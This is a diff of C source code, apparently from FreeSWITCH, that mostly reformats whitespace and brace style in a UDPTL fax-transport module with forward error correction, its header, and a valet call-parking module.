s->rx[which].buf[j] ^= (s->rx[k].buf_len > j) ? s->rx[k].buf[j] : 0;
|
||||
}
|
||||
s->rx[which].buf_len = s->rx[l].fec_len[m];
|
||||
repaired[which] = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
/* Now play any new packets forwards in time */
|
||||
for (l = (x + 1) & UDPTL_BUF_MASK, j = seq_no - UDPTL_BUF_MASK; l != x; l = (l + 1) & UDPTL_BUF_MASK, j++) {
|
||||
if (repaired[l]) {
|
||||
#if defined(UDPTL_DEBUG)
|
||||
fprintf(stderr, "Fixed packet %d, len %d\n", j, l);
|
||||
fprintf(stderr, "Fixed packet %d, len %d\n", j, l);
|
||||
#endif
|
||||
if (s->rx_packet_handler(s->user_data, s->rx[l].buf, s->rx[l].buf_len, j) < 0)
|
||||
fprintf(stderr, "Bad IFP\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
/* If packets are received out of sequence, we may have already processed this packet from the error
|
||||
recovery information in a packet already received. */
|
||||
if (seq_no >= s->rx_seq_no)
|
||||
{
|
||||
/* Decode the primary packet */
|
||||
if (s->rx_packet_handler(s->user_data, s->rx[l].buf, s->rx[l].buf_len, j) < 0)
|
||||
fprintf(stderr, "Bad IFP\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
/* If packets are received out of sequence, we may have already processed this packet from the error
|
||||
recovery information in a packet already received. */
|
||||
if (seq_no >= s->rx_seq_no) {
|
||||
/* Decode the primary packet */
|
||||
#if defined(UDPTL_DEBUG)
|
||||
fprintf(stderr, "Primary packet %d, len %d\n", seq_no, msg_len);
|
||||
fprintf(stderr, "Primary packet %d, len %d\n", seq_no, msg_len);
|
||||
#endif
|
||||
if (s->rx_packet_handler(s->user_data, msg, msg_len, seq_no) < 0)
|
||||
fprintf(stderr, "Bad IFP\n");
|
||||
}
|
||||
if (s->rx_packet_handler(s->user_data, msg, msg_len, seq_no) < 0)
|
||||
fprintf(stderr, "Bad IFP\n");
|
||||
}
|
||||
|
||||
s->rx_seq_no = (seq_no + 1) & 0xFFFF;
|
||||
return 0;
|
||||
s->rx_seq_no = (seq_no + 1) & 0xFFFF;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
|
||||
int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len)
|
||||
{
|
||||
uint8_t fec[LOCAL_FAX_MAX_DATAGRAM];
|
||||
int i;
|
||||
int j;
|
||||
int seq;
|
||||
int entry;
|
||||
int entries;
|
||||
int span;
|
||||
int m;
|
||||
int len;
|
||||
int limit;
|
||||
int high_tide;
|
||||
uint8_t fec[LOCAL_FAX_MAX_DATAGRAM];
|
||||
int i;
|
||||
int j;
|
||||
int seq;
|
||||
int entry;
|
||||
int entries;
|
||||
int span;
|
||||
int m;
|
||||
int len;
|
||||
int limit;
|
||||
int high_tide;
|
||||
|
||||
/* UDPTL cannot cope with zero length messages, and our buffering for redundancy limits their
|
||||
maximum length. */
|
||||
if (msg_len < 1 || msg_len > LOCAL_FAX_MAX_DATAGRAM)
|
||||
return -1;
|
||||
seq = s->tx_seq_no & 0xFFFF;
|
||||
/* UDPTL cannot cope with zero length messages, and our buffering for redundancy limits their
|
||||
maximum length. */
|
||||
if (msg_len < 1 || msg_len > LOCAL_FAX_MAX_DATAGRAM)
|
||||
return -1;
|
||||
seq = s->tx_seq_no & 0xFFFF;
|
||||
|
||||
/* Map the sequence number to an entry in the circular buffer */
|
||||
entry = seq & UDPTL_BUF_MASK;
|
||||
/* Map the sequence number to an entry in the circular buffer */
|
||||
entry = seq & UDPTL_BUF_MASK;
|
||||
|
||||
/* We save the message in a circular buffer, for generating FEC or
|
||||
redundancy sets later on. */
|
||||
s->tx[entry].buf_len = msg_len;
|
||||
memcpy(s->tx[entry].buf, msg, msg_len);
|
||||
|
||||
/* Build the UDPTL packet */
|
||||
/* We save the message in a circular buffer, for generating FEC or
|
||||
redundancy sets later on. */
|
||||
s->tx[entry].buf_len = msg_len;
|
||||
memcpy(s->tx[entry].buf, msg, msg_len);
|
||||
|
||||
len = 0;
|
||||
/* Encode the sequence number */
|
||||
buf[len++] = (seq >> 8) & 0xFF;
|
||||
buf[len++] = seq & 0xFF;
|
||||
/* Build the UDPTL packet */
|
||||
|
||||
/* Encode the primary packet */
|
||||
if (encode_open_type(buf, &len, msg, msg_len) < 0)
|
||||
return -1;
|
||||
len = 0;
|
||||
/* Encode the sequence number */
|
||||
buf[len++] = (seq >> 8) & 0xFF;
|
||||
buf[len++] = seq & 0xFF;
|
||||
|
||||
/* Encode the appropriate type of error recovery information */
|
||||
switch (s->error_correction_scheme)
|
||||
{
|
||||
case UDPTL_ERROR_CORRECTION_NONE:
|
||||
/* Encode the error recovery type */
|
||||
buf[len++] = 0x00;
|
||||
/* The number of entries will always be zero, so it is pointless allowing
|
||||
for the fragmented case here. */
|
||||
if (encode_length(buf, &len, 0) < 0)
|
||||
return -1;
|
||||
break;
|
||||
case UDPTL_ERROR_CORRECTION_REDUNDANCY:
|
||||
/* Encode the error recovery type */
|
||||
buf[len++] = 0x00;
|
||||
if (s->tx_seq_no > s->error_correction_entries)
|
||||
entries = s->error_correction_entries;
|
||||
else
|
||||
entries = s->tx_seq_no;
|
||||
/* The number of entries will always be small, so it is pointless allowing
|
||||
for the fragmented case here. */
|
||||
if (encode_length(buf, &len, entries) < 0)
|
||||
return -1;
|
||||
/* Encode the elements */
|
||||
for (i = 0; i < entries; i++)
|
||||
{
|
||||
j = (entry - i - 1) & UDPTL_BUF_MASK;
|
||||
if (encode_open_type(buf, &len, s->tx[j].buf, s->tx[j].buf_len) < 0)
|
||||
return -1;
|
||||
}
|
||||
break;
|
||||
case UDPTL_ERROR_CORRECTION_FEC:
|
||||
span = s->error_correction_span;
|
||||
entries = s->error_correction_entries;
|
||||
if (seq < s->error_correction_span*s->error_correction_entries)
|
||||
{
|
||||
/* In the initial stages, wind up the FEC smoothly */
|
||||
entries = seq/s->error_correction_span;
|
||||
if (seq < s->error_correction_span)
|
||||
span = 0;
|
||||
}
|
||||
/* Encode the error recovery type */
|
||||
buf[len++] = 0x80;
|
||||
/* Span is defined as an inconstrained integer, which it dumb. It will only
|
||||
ever be a small value. Treat it as such. */
|
||||
buf[len++] = 1;
|
||||
buf[len++] = span;
|
||||
/* The number of entries is defined as a length, but will only ever be a small
|
||||
value. Treat it as such. */
|
||||
buf[len++] = entries;
|
||||
for (m = 0; m < entries; m++)
|
||||
{
|
||||
/* Make an XOR'ed entry the maximum length */
|
||||
limit = (entry + m) & UDPTL_BUF_MASK;
|
||||
high_tide = 0;
|
||||
for (i = (limit - span*entries) & UDPTL_BUF_MASK; i != limit; i = (i + entries) & UDPTL_BUF_MASK)
|
||||
{
|
||||
if (high_tide < s->tx[i].buf_len)
|
||||
{
|
||||
for (j = 0; j < high_tide; j++)
|
||||
fec[j] ^= s->tx[i].buf[j];
|
||||
for ( ; j < s->tx[i].buf_len; j++)
|
||||
fec[j] = s->tx[i].buf[j];
|
||||
high_tide = s->tx[i].buf_len;
|
||||
}
|
||||
else
|
||||
{
|
||||
for (j = 0; j < s->tx[i].buf_len; j++)
|
||||
fec[j] ^= s->tx[i].buf[j];
|
||||
}
|
||||
}
|
||||
if (encode_open_type(buf, &len, fec, high_tide) < 0)
|
||||
return -1;
|
||||
}
|
||||
break;
|
||||
}
|
||||
/* Encode the primary packet */
|
||||
if (encode_open_type(buf, &len, msg, msg_len) < 0)
|
||||
return -1;
|
||||
|
||||
if (s->verbose)
|
||||
fprintf(stderr, "\n");
|
||||
s->tx_seq_no++;
|
||||
return len;
|
||||
/* Encode the appropriate type of error recovery information */
|
||||
switch (s->error_correction_scheme) {
|
||||
case UDPTL_ERROR_CORRECTION_NONE:
|
||||
/* Encode the error recovery type */
|
||||
buf[len++] = 0x00;
|
||||
/* The number of entries will always be zero, so it is pointless allowing
|
||||
for the fragmented case here. */
|
||||
if (encode_length(buf, &len, 0) < 0)
|
||||
return -1;
|
||||
break;
|
||||
case UDPTL_ERROR_CORRECTION_REDUNDANCY:
|
||||
/* Encode the error recovery type */
|
||||
buf[len++] = 0x00;
|
||||
if (s->tx_seq_no > s->error_correction_entries)
|
||||
entries = s->error_correction_entries;
|
||||
else
|
||||
entries = s->tx_seq_no;
|
||||
/* The number of entries will always be small, so it is pointless allowing
|
||||
for the fragmented case here. */
|
||||
if (encode_length(buf, &len, entries) < 0)
|
||||
return -1;
|
||||
/* Encode the elements */
|
||||
for (i = 0; i < entries; i++) {
|
||||
j = (entry - i - 1) & UDPTL_BUF_MASK;
|
||||
if (encode_open_type(buf, &len, s->tx[j].buf, s->tx[j].buf_len) < 0)
|
||||
return -1;
|
||||
}
|
||||
break;
|
||||
case UDPTL_ERROR_CORRECTION_FEC:
|
||||
span = s->error_correction_span;
|
||||
entries = s->error_correction_entries;
|
||||
if (seq < s->error_correction_span * s->error_correction_entries) {
|
||||
/* In the initial stages, wind up the FEC smoothly */
|
||||
entries = seq / s->error_correction_span;
|
||||
if (seq < s->error_correction_span)
|
||||
span = 0;
|
||||
}
|
||||
/* Encode the error recovery type */
|
||||
buf[len++] = 0x80;
|
||||
/* Span is defined as an inconstrained integer, which it dumb. It will only
|
||||
ever be a small value. Treat it as such. */
|
||||
buf[len++] = 1;
|
||||
buf[len++] = span;
|
||||
/* The number of entries is defined as a length, but will only ever be a small
|
||||
value. Treat it as such. */
|
||||
buf[len++] = entries;
|
||||
for (m = 0; m < entries; m++) {
|
||||
/* Make an XOR'ed entry the maximum length */
|
||||
limit = (entry + m) & UDPTL_BUF_MASK;
|
||||
high_tide = 0;
|
||||
for (i = (limit - span * entries) & UDPTL_BUF_MASK; i != limit; i = (i + entries) & UDPTL_BUF_MASK) {
|
||||
if (high_tide < s->tx[i].buf_len) {
|
||||
for (j = 0; j < high_tide; j++)
|
||||
fec[j] ^= s->tx[i].buf[j];
|
||||
for (; j < s->tx[i].buf_len; j++)
|
||||
fec[j] = s->tx[i].buf[j];
|
||||
high_tide = s->tx[i].buf_len;
|
||||
} else {
|
||||
for (j = 0; j < s->tx[i].buf_len; j++)
|
||||
fec[j] ^= s->tx[i].buf[j];
|
||||
}
|
||||
}
|
||||
if (encode_open_type(buf, &len, fec, high_tide) < 0)
|
||||
return -1;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
if (s->verbose)
|
||||
fprintf(stderr, "\n");
|
||||
s->tx_seq_no++;
|
||||
return len;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
|
||||
int udptl_set_error_correction(udptl_state_t *s,
|
||||
int ec_scheme,
|
||||
int span,
|
||||
int entries)
|
||||
int udptl_set_error_correction(udptl_state_t *s, int ec_scheme, int span, int entries)
|
||||
{
|
||||
switch (ec_scheme)
|
||||
{
|
||||
case UDPTL_ERROR_CORRECTION_FEC:
|
||||
case UDPTL_ERROR_CORRECTION_REDUNDANCY:
|
||||
case UDPTL_ERROR_CORRECTION_NONE:
|
||||
s->error_correction_scheme = ec_scheme;
|
||||
break;
|
||||
case -1:
|
||||
/* Just don't change the scheme */
|
||||
break;
|
||||
default:
|
||||
return -1;
|
||||
}
|
||||
if (span >= 0)
|
||||
s->error_correction_span = span;
|
||||
if (entries >= 0)
|
||||
s->error_correction_entries = entries;
|
||||
return 0;
|
||||
switch (ec_scheme) {
|
||||
case UDPTL_ERROR_CORRECTION_FEC:
|
||||
case UDPTL_ERROR_CORRECTION_REDUNDANCY:
|
||||
case UDPTL_ERROR_CORRECTION_NONE:
|
||||
s->error_correction_scheme = ec_scheme;
|
||||
break;
|
||||
case -1:
|
||||
/* Just don't change the scheme */
|
||||
break;
|
||||
default:
|
||||
return -1;
|
||||
}
|
||||
if (span >= 0)
|
||||
s->error_correction_span = span;
|
||||
if (entries >= 0)
|
||||
s->error_correction_entries = entries;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
|
||||
int udptl_get_error_correction(udptl_state_t *s,
|
||||
int *ec_scheme,
|
||||
int *span,
|
||||
int *entries)
|
||||
int udptl_get_error_correction(udptl_state_t *s, int *ec_scheme, int *span, int *entries)
|
||||
{
|
||||
if (ec_scheme)
|
||||
*ec_scheme = s->error_correction_scheme;
|
||||
if (span)
|
||||
*span = s->error_correction_span;
|
||||
if (entries)
|
||||
*entries = s->error_correction_entries;
|
||||
return 0;
|
||||
if (ec_scheme)
|
||||
*ec_scheme = s->error_correction_scheme;
|
||||
if (span)
|
||||
*span = s->error_correction_span;
|
||||
if (entries)
|
||||
*entries = s->error_correction_entries;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
|
||||
int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram)
|
||||
{
|
||||
s->local_max_datagram_size = max_datagram;
|
||||
return 0;
|
||||
s->local_max_datagram_size = max_datagram;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
|
||||
int udptl_get_local_max_datagram(udptl_state_t *s)
|
||||
{
|
||||
return s->local_max_datagram_size;
|
||||
return s->local_max_datagram_size;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
|
||||
int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram)
|
||||
{
|
||||
s->far_max_datagram_size = max_datagram;
|
||||
return 0;
|
||||
s->far_max_datagram_size = max_datagram;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
|
||||
int udptl_get_far_max_datagram(udptl_state_t *s)
|
||||
{
|
||||
return s->far_max_datagram_size;
|
||||
return s->far_max_datagram_size;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
|
||||
udptl_state_t *udptl_init(udptl_state_t *s,
|
||||
int ec_scheme,
|
||||
int span,
|
||||
int entries,
|
||||
udptl_rx_packet_handler_t rx_packet_handler,
|
||||
void *user_data)
|
||||
udptl_state_t *udptl_init(udptl_state_t *s, int ec_scheme, int span, int entries, udptl_rx_packet_handler_t rx_packet_handler, void *user_data)
|
||||
{
|
||||
int i;
|
||||
int i;
|
||||
|
||||
if (rx_packet_handler == NULL)
|
||||
return NULL;
|
||||
if (rx_packet_handler == NULL)
|
||||
return NULL;
|
||||
|
||||
if (s == NULL)
|
||||
{
|
||||
if ((s = (udptl_state_t *) malloc(sizeof(*s))) == NULL)
|
||||
return NULL;
|
||||
}
|
||||
memset(s, 0, sizeof(*s));
|
||||
|
||||
s->error_correction_scheme = ec_scheme;
|
||||
s->error_correction_span = span;
|
||||
s->error_correction_entries = entries;
|
||||
|
||||
s->far_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
|
||||
s->local_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
|
||||
if (s == NULL) {
|
||||
if ((s = (udptl_state_t *) malloc(sizeof(*s))) == NULL)
|
||||
return NULL;
|
||||
}
|
||||
memset(s, 0, sizeof(*s));
|
||||
|
||||
memset(&s->rx, 0, sizeof(s->rx));
|
||||
memset(&s->tx, 0, sizeof(s->tx));
|
||||
for (i = 0; i <= UDPTL_BUF_MASK; i++)
|
||||
{
|
||||
s->rx[i].buf_len = -1;
|
||||
s->tx[i].buf_len = -1;
|
||||
}
|
||||
s->error_correction_scheme = ec_scheme;
|
||||
s->error_correction_span = span;
|
||||
s->error_correction_entries = entries;
|
||||
|
||||
s->rx_packet_handler = rx_packet_handler;
|
||||
s->user_data = user_data;
|
||||
s->far_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
|
||||
s->local_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
|
||||
|
||||
return s;
|
||||
memset(&s->rx, 0, sizeof(s->rx));
|
||||
memset(&s->tx, 0, sizeof(s->tx));
|
||||
for (i = 0; i <= UDPTL_BUF_MASK; i++) {
|
||||
s->rx[i].buf_len = -1;
|
||||
s->tx[i].buf_len = -1;
|
||||
}
|
||||
|
||||
s->rx_packet_handler = rx_packet_handler;
|
||||
s->user_data = user_data;
|
||||
|
||||
return s;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
|
||||
int udptl_release(udptl_state_t *s)
|
||||
{
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
/*- End of file ------------------------------------------------------------*/
|
||||
@@ -30,71 +30,66 @@
|
||||
|
||||
#define UDPTL_BUF_MASK 15
|
||||
|
||||
typedef int (udptl_rx_packet_handler_t)(void *user_data, const uint8_t msg[], int len, int seq_no);
|
||||
typedef int (udptl_rx_packet_handler_t) (void *user_data, const uint8_t msg[], int len, int seq_no);
|
||||
|
||||
typedef struct
|
||||
{
|
||||
int buf_len;
|
||||
uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
|
||||
typedef struct {
|
||||
int buf_len;
|
||||
uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
|
||||
} udptl_fec_tx_buffer_t;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
int buf_len;
|
||||
uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
|
||||
int fec_len[LOCAL_FAX_MAX_FEC_PACKETS];
|
||||
uint8_t fec[LOCAL_FAX_MAX_FEC_PACKETS][LOCAL_FAX_MAX_DATAGRAM];
|
||||
int fec_span;
|
||||
int fec_entries;
|
||||
typedef struct {
|
||||
int buf_len;
|
||||
uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
|
||||
int fec_len[LOCAL_FAX_MAX_FEC_PACKETS];
|
||||
uint8_t fec[LOCAL_FAX_MAX_FEC_PACKETS][LOCAL_FAX_MAX_DATAGRAM];
|
||||
int fec_span;
|
||||
int fec_entries;
|
||||
} udptl_fec_rx_buffer_t;
|
||||
|
||||
struct udptl_state_s
|
||||
{
|
||||
udptl_rx_packet_handler_t *rx_packet_handler;
|
||||
void *user_data;
|
||||
struct udptl_state_s {
|
||||
udptl_rx_packet_handler_t *rx_packet_handler;
|
||||
void *user_data;
|
||||
|
||||
/*! This option indicates the error correction scheme used in transmitted UDPTL
|
||||
packets. */
|
||||
int error_correction_scheme;
|
||||
/*! This option indicates the error correction scheme used in transmitted UDPTL
|
||||
packets. */
|
||||
int error_correction_scheme;
|
||||
|
||||
/*! This option indicates the number of error correction entries transmitted in
|
||||
UDPTL packets. */
|
||||
int error_correction_entries;
|
||||
/*! This option indicates the number of error correction entries transmitted in
|
||||
UDPTL packets. */
|
||||
int error_correction_entries;
|
||||
|
||||
/*! This option indicates the span of the error correction entries in transmitted
|
||||
UDPTL packets (FEC only). */
|
||||
int error_correction_span;
|
||||
/*! This option indicates the span of the error correction entries in transmitted
|
||||
UDPTL packets (FEC only). */
|
||||
int error_correction_span;
|
||||
|
||||
/*! This option indicates the maximum size of a datagram that can be accepted by
|
||||
the remote device. */
|
||||
int far_max_datagram_size;
|
||||
/*! This option indicates the maximum size of a datagram that can be accepted by
|
||||
the remote device. */
|
||||
int far_max_datagram_size;
|
||||
|
||||
/*! This option indicates the maximum size of a datagram that we are prepared to
|
||||
accept. */
|
||||
int local_max_datagram_size;
|
||||
/*! This option indicates the maximum size of a datagram that we are prepared to
|
||||
accept. */
|
||||
int local_max_datagram_size;
|
||||
|
||||
int verbose;
|
||||
int verbose;
|
||||
|
||||
int tx_seq_no;
|
||||
int rx_seq_no;
|
||||
int rx_expected_seq_no;
|
||||
int tx_seq_no;
|
||||
int rx_seq_no;
|
||||
int rx_expected_seq_no;
|
||||
|
||||
udptl_fec_tx_buffer_t tx[UDPTL_BUF_MASK + 1];
|
||||
udptl_fec_rx_buffer_t rx[UDPTL_BUF_MASK + 1];
|
||||
udptl_fec_tx_buffer_t tx[UDPTL_BUF_MASK + 1];
|
||||
udptl_fec_rx_buffer_t rx[UDPTL_BUF_MASK + 1];
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
UDPTL_ERROR_CORRECTION_NONE,
|
||||
UDPTL_ERROR_CORRECTION_FEC,
|
||||
UDPTL_ERROR_CORRECTION_REDUNDANCY
|
||||
enum {
|
||||
UDPTL_ERROR_CORRECTION_NONE,
|
||||
UDPTL_ERROR_CORRECTION_FEC,
|
||||
UDPTL_ERROR_CORRECTION_REDUNDANCY
|
||||
};
|
||||
|
||||
typedef struct udptl_state_s udptl_state_t;
|
||||
|
||||
#if defined(__cplusplus)
|
||||
extern "C"
|
||||
{
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*! \brief Process an arriving UDPTL packet.
|
||||
@@ -102,7 +97,7 @@ extern "C"
|
||||
\param buf The UDPTL packet buffer.
|
||||
\param len The length of the packet.
|
||||
\return 0 for OK. */
|
||||
int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len);
|
||||
int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len);
|
||||
|
||||
/*! \brief Construct a UDPTL packet, ready for transmission.
|
||||
\param s The UDPTL context.
|
||||
@@ -110,7 +105,7 @@ int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len);
|
||||
\param msg The primary packet.
|
||||
\param len The length of the primary packet.
|
||||
\return The length of the constructed UDPTL packet. */
|
||||
int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len);
|
||||
int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len);
|
||||
|
||||
/*! \brief Change the error correction settings of a UDPTL context.
|
||||
\param s The UDPTL context.
|
||||
@@ -118,10 +113,7 @@ int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int
|
||||
\param span The packet span over which error correction should be applied.
|
||||
\param entries The number of error correction entries to include in packets.
|
||||
\return 0 for OK. */
|
||||
int udptl_set_error_correction(udptl_state_t *s,
|
||||
int ec_scheme,
|
||||
int span,
|
||||
int entries);
|
||||
int udptl_set_error_correction(udptl_state_t *s, int ec_scheme, int span, int entries);
|
||||
|
||||
/*! \brief Check the error correction settings of a UDPTL context.
|
||||
\param s The UDPTL context.
|
||||
@@ -129,18 +121,15 @@ int udptl_set_error_correction(udptl_state_t *s,
|
||||
\param span The packet span over which error correction is being applied.
|
||||
\param entries The number of error correction being included in packets.
|
||||
\return 0 for OK. */
|
||||
int udptl_get_error_correction(udptl_state_t *s,
|
||||
int *ec_scheme,
|
||||
int *span,
|
||||
int *entries);
|
||||
int udptl_get_error_correction(udptl_state_t *s, int *ec_scheme, int *span, int *entries);
|
||||
|
||||
int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram);
|
||||
int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram);
|
||||
|
||||
int udptl_get_local_max_datagram(udptl_state_t *s);
|
||||
int udptl_get_local_max_datagram(udptl_state_t *s);
|
||||
|
||||
int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram);
|
||||
int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram);
|
||||
|
||||
int udptl_get_far_max_datagram(udptl_state_t *s);
|
||||
int udptl_get_far_max_datagram(udptl_state_t *s);
|
||||
|
||||
/*! \brief Initialise a UDPTL context.
|
||||
\param s The UDPTL context.
|
||||
@@ -150,21 +139,15 @@ int udptl_get_far_max_datagram(udptl_state_t *s);
|
||||
\param rx_packet_handler The callback function, used to report arriving IFP packets.
|
||||
\param user_data An opaque pointer supplied to rx_packet_handler.
|
||||
\return A pointer to the UDPTL context, or NULL if there was a problem. */
|
||||
udptl_state_t *udptl_init(udptl_state_t *s,
|
||||
int ec_scheme,
|
||||
int span,
|
||||
int entries,
|
||||
udptl_rx_packet_handler_t rx_packet_handler,
|
||||
void *user_data);
|
||||
udptl_state_t *udptl_init(udptl_state_t *s, int ec_scheme, int span, int entries, udptl_rx_packet_handler_t rx_packet_handler, void *user_data);
|
||||
|
||||
/*! \brief Release a UDPTL context.
|
||||
\param s The UDPTL context.
|
||||
\return 0 for OK. */
|
||||
int udptl_release(udptl_state_t *s);
|
||||
int udptl_release(udptl_state_t *s);
|
||||
|
||||
#if defined(__cplusplus)
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
||||
/*- End of file ------------------------------------------------------------*/
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -87,10 +87,11 @@ static int next_id(valet_lot_t *lot, int min, int max, int in)
|
||||
int i, r = 0, m;
|
||||
char buf[128] = "";
|
||||
|
||||
if (!min) min = 1;
|
||||
if (!min)
|
||||
min = 1;
|
||||
|
||||
switch_mutex_lock(globals.mutex);
|
||||
for(i = min ; (i < max || max == 0) ; i++) {
|
||||
for (i = min; (i < max || max == 0); i++) {
|
||||
switch_snprintf(buf, sizeof(buf), "%d", i);
|
||||
m = !!switch_core_hash_find(lot->hash, buf);
|
||||
|
||||
@@ -131,7 +132,7 @@ SWITCH_STANDARD_APP(valet_parking_function)
|
||||
lot = valet_find_lot(lot_name);
|
||||
switch_assert(lot);
|
||||
|
||||
if (!strcasecmp(ext, "auto")) {
|
||||
if (!strcasecmp(ext, "auto")) {
|
||||
const char *io = argv[2];
|
||||
const char *min = argv[3];
|
||||
const char *max = argv[4];
|
||||
@@ -165,7 +166,7 @@ SWITCH_STANDARD_APP(valet_parking_function)
|
||||
switch_mutex_unlock(lot->mutex);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
switch_snprintf(dtmf_buf, sizeof(dtmf_buf), "%d", id);
|
||||
ext = dtmf_buf;
|
||||
} else if (!strcasecmp(ext, "ask")) {
|
||||
@@ -174,28 +175,28 @@ SWITCH_STANDARD_APP(valet_parking_function)
|
||||
int max = 11;
|
||||
int to = 10000;
|
||||
int i;
|
||||
|
||||
|
||||
tmp = argv[2] ? argv[2] : switch_channel_get_variable(channel, "valet_ext_min");
|
||||
if (tmp) {
|
||||
if ((i = atoi(tmp)) > 0) {
|
||||
min = i;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
tmp = argv[3] ? argv[3] : switch_channel_get_variable(channel, "valet_ext_max");
|
||||
if (tmp) {
|
||||
if ((i = atoi(tmp)) > 0) {
|
||||
max = i;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
tmp = argv[4] ? argv[4] : switch_channel_get_variable(channel, "valet_ext_to");
|
||||
if (tmp) {
|
||||
if ((i = atoi(tmp)) > 0) {
|
||||
to = i;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
tmp = argv[5] ? argv[5] : switch_channel_get_variable(channel, "valet_ext_prompt");
|
||||
if (tmp) {
|
||||
prompt = tmp;
|
||||
@@ -211,7 +212,7 @@ SWITCH_STANDARD_APP(valet_parking_function)
|
||||
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
switch_mutex_lock(lot->mutex);
|
||||
if ((uuid = switch_core_hash_find(lot->hash, ext))) {
|
||||
switch_core_session_t *b_session;
|
||||
@@ -224,7 +225,7 @@ SWITCH_STANDARD_APP(valet_parking_function)
|
||||
switch_channel_event_set_data(switch_core_session_get_channel(b_session), event);
|
||||
switch_event_fire(&event);
|
||||
switch_core_session_rwunlock(b_session);
|
||||
|
||||
|
||||
switch_ivr_uuid_bridge(switch_core_session_get_uuid(session), uuid);
|
||||
switch_mutex_unlock(lot->mutex);
|
||||
return;
|
||||
@@ -241,7 +242,7 @@ SWITCH_STANDARD_APP(valet_parking_function)
|
||||
|
||||
if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
|
||||
switch_core_session_t *b_session;
|
||||
|
||||
|
||||
if ((b_session = switch_core_session_locate(uuid))) {
|
||||
switch_ivr_phrase_macro(session, "valet_announce_ext", tmp, NULL, NULL);
|
||||
switch_ivr_session_transfer(b_session, dest, "inline", NULL);
|
||||
@@ -254,8 +255,8 @@ SWITCH_STANDARD_APP(valet_parking_function)
|
||||
|
||||
switch_ivr_phrase_macro(session, "valet_announce_ext", tmp, NULL, NULL);
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, VALET_EVENT) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Valet-Lot-Name", lot_name);
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Valet-Extension", ext);
|
||||
@@ -263,14 +264,15 @@ SWITCH_STANDARD_APP(valet_parking_function)
|
||||
switch_event_fire(&event);
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (!(tmp = switch_channel_get_variable(channel, "valet_hold_music"))) {
|
||||
tmp = switch_channel_get_variable(channel, "hold_music");
|
||||
}
|
||||
if (tmp) music = tmp;
|
||||
|
||||
if (tmp)
|
||||
music = tmp;
|
||||
|
||||
switch_core_hash_insert(lot->hash, ext, switch_core_session_get_uuid(session));
|
||||
|
||||
|
||||
args.input_callback = valet_on_dtmf;
|
||||
args.buf = dbuf;
|
||||
args.buflen = sizeof(dbuf);
|
||||
@@ -293,7 +295,7 @@ SWITCH_STANDARD_API(valet_info_function)
|
||||
{
|
||||
switch_hash_index_t *hi;
|
||||
const void *var;
|
||||
void *val;
|
||||
void *val;
|
||||
char *name;
|
||||
valet_lot_t *lot;
|
||||
|
||||
@@ -310,9 +312,10 @@ SWITCH_STANDARD_API(valet_info_function)
|
||||
switch_hash_this(hi, &var, NULL, &val);
|
||||
name = (char *) var;
|
||||
